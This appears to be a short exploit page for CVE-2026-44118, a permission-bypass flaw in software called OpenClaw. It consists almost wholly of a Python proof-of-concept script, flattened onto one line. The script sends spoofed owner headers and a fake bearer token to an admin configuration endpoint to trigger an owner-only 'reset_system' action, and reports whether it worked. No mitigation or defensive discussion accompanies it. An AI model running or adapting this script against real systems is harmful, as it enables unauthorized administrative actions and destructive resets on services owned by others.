CVE-2026-44118 OpenClaw权限绕过漏洞

import requests def exploit_openclaw(target_url): """ PoC for CVE-2026-44118 Demonstrates bypassing owner-gated operations by spoofing headers. """ # The endpoint that requires owner privileges endpoint = f"{target_url}/api/admin/config" # Malicious headers to spoof the owner context # Vulnerability allows deriving context from these spoofable tokens/headers headers = { "User-Agent": "OpenClaw-Client/1.0", "Authorization": "Bearer SPOOFED_TOKEN", # Or a weak token "X-Sender-Owner": "true", # Manipulating sender-owner header metadata "Content-Type": "application/json" } # Data payload for the owner-only operation data = { "action": "reset_system", "confirm": True } try: print(f"[*] Sending exploit request to {target_url}...") response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Owner-gated operation executed.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error during exploitation: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" exploit_openclaw(target)